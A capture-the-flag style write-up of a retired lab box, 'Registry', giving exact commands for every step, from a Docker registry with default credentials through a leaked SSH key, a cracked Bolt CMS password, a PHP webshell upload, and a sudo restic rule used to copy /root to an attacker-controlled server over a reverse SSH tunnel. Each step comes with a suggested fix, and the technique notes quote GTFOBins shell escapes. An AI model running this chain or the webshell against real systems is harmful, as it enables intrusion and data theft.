Registry
Summary
Nmap against <retired-instance-ip> showed only 80/443 (nginx 1.14.0 Ubuntu). The HTTPS cert's CN pointed to docker.registry.htb; adding that vhost (plus registry.htb) to the resolver revealed a Docker Registry HTTP API v2 behind Basic auth. Default credentials [REDACTED: recovered credential]:[REDACTED: recovered credential] authenticated successfully. /v2/_catalog listed a single repo, bolt-image (tag latest). Pulling the manifest and downloading every blob (fsLayers[].blobSum) and extracting each layer's filesystem uncovered /root/.viminfo containing SSH passphrase GkOcz221Ftb3ugog and a private key under /root/.ssh — the matching public key resolved to user bolt. Decrypting the key with the recovered passphrase and SSHing in as bolt@<retired-instance-ip> gave the foothold and user.txt ([REDACTED: flag]).
From bolt, /var/www/html/bolt was a Bolt CMS install owned by www-data. Pulling app/database/bolt.db via scp and dumping bolt_users yielded an [REDACTED: recovered credential] password hash; cracking with John recovered [REDACTED: recovered credential]:[REDACTED: recovered credential]. Logging into the Bolt [REDACTED: recovered credential] panel, the config.yml file-type allowlist was edited to permit .php uploads, then a webshell (<?php system($_GET["cmd"]);?>) was uploaded via the File Manager, giving RCE as www-data at /bolt/files/shell.php?cmd=.
sudo -l as www-data showed unrestricted sudo [REDACTED: recovered credential] backup ... -r rest:<url>. Outbound network access from the target was blocked, so a restic REST server (Docker image restic/rest-server, no-auth mode) was stood up locally and exposed to the target via a reverse SSH port-forward (-R 8000:localhost:8000) over the existing bolt session. The target's installed restic was an old 0.8.x client, requiring the rest-server to be started with --no-auth and repo-version compatibility handled via the matching restic/restic:0.8.3 client image. sudo restic backup -r rest:http://$LOOPBACK:8000/ /root as www-data then backed up /root (including root.txt) into the user-controlled repository, where it was restored/read directly, yielding root ownership and root_flag=[REDACTED: flag].
Attack path — how the box was taken
Exact commands 3
nmap -sC -sV -p 22,80,443 $TARGETecho '$TARGET docker.registry.htb registry.htb' | sudo tee -a /etc/hostscurl -sk https://$TARGET/v2/ -o /dev/null -w '%{http_code}\n'FixRestrict network access to the Docker Registry and rotate the default [REDACTED: recovered credential] credentialCritical
Exact commands 3
curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] https://$TARGET/v2/_catalogcurl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] https://$TARGET/v2/bolt-image/tags/listcurl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] 'https://$TARGET/v2/bolt-image/manifests/latest' -H 'Accept: application/vnd.docker.distribution.manifest.v2+json'FixRestrict network access to the Docker Registry and rotate the default [REDACTED: recovered credential] credentialCritical
Exact commands 5
mkdir -p /tmp/registry-bolt && cd /tmp/registry-boltfor digest in $(curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] 'https://$TARGET/v2/bolt-image/manifests/latest' | python3 -c "import sys,json; [print(l['blobSum'].split(':')[1]) for l in json.load(sys.stdin)['fsLayers']]"); do curl -sk -u [REDACTED: recovered credential]:[REDACTED: recovered credential] "https://$TARGET/v2/bolt-image/blobs/sha256:$digest" -o "${digest}.gz"; donefor f in *.gz; do d="layer_${f%.gz}"; mkdir -p "$d"; tar -xzf "$f" -C "$d" 2>/dev/null || true; donegrep -r 'GkOcz' /tmp/registry-bolt/ 2>/dev/nullfind /tmp/registry-bolt -name 'id_rsa' 2>/dev/nullFixRemove secrets from Docker image layers and inject credentials at runtimeCritical
Exact commands 4
cp /tmp/registry-bolt/layer_5/root/.ssh/id_rsa ./id_rsa.clearwork && chmod 600 ./id_rsa.clearworkssh-keygen -p -P 'GkOcz221Ftb3ugog' -N '' -f ./id_rsa.clearworkssh -i ./id_rsa.clearwork bolt@$TARGETcat /home/bolt/user.txtFixRemove secrets from Docker image layers and inject credentials at runtimeCritical
Exact commands 3
scp -i ./id_rsa.clearwork bolt@$TARGET:/var/www/html/bolt/app/database/bolt.db .sqlite3 bolt.db "SELECT username, password FROM bolt_users;"john --wordlist=/usr/share/wordlists/rockyou.txt bolt_hashes.txtFixEnforce strong passwords for all CMS administrator accounts and restrict the [REDACTED: recovered credential] panel to internal networksHigh
Exact commands 5
curl -sk -c bolt.jar -b bolt.jar -X POST 'http://$TARGET/bolt/bolt/login' --data 'username=[REDACTED: recovered credential]&password=[REDACTED: credential]&_csrf_token=<token_from_login_page>'curl -sk -c bolt.jar -b bolt.jar -X POST 'http://$TARGET/bolt/bolt/file/edit/config/config.yml' --data-urlencode 'contents@config_with_php.yml'curl -sk -c bolt.jar -b bolt.jar 'http://$TARGET/bolt/bolt/clearcache'echo '<?php system($_GET["cmd"]);?>' > shell.php && curl -sk -c bolt.jar -b bolt.jar -F 'files[]=@shell.php' 'http://$TARGET/bolt/bolt/async/upload?path=%2F'curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=id'FixLock the Bolt CMS file-type allowlist to non-executable extensions and prevent in-browser config editingCritical
Exact commands 7
curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=sudo+-l'docker run -d -p localhost:8000:8000 --name rest_server -v /tmp/repo:/data --entrypoint rest-server restic/rest-server --path /data --no-authexport RESTIC_PASSWORD=[REDACTED: recovered credential] && docker run --rm --network host -e RESTIC_PASSWORD restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ initssh -i ./id_rsa.clearwork -R 8000:localhost:8000 -N bolt@$TARGET &curl -sk 'http://$TARGET/bolt/files/shell.php?cmd=export+RESTIC_PASSWORD%3D[REDACTED: recovered credential]%3Bsudo+[REDACTED: recovered credential]+backup+-r+rest%3Ahttp%3A%2F%2Flocalhost%3A8000%2F+/root'docker run --rm --network host -e RESTIC_PASSWORD=[REDACTED: recovered credential] restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ snapshotsdocker run --rm --network host -e RESTIC_PASSWORD=[REDACTED: recovered credential] -v /tmp/restic-restore:/restore restic/restic:0.8.3 -r rest:http://$LOOPBACK:8000/ restore latest --target /restore && cat /tmp/restic-restore/root/root.txtFixRemove the unrestricted sudo restic rule and implement least-privilege backup designCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |
| 443/tcp | ssl/http nginx 1.14.0 (Ubuntu) |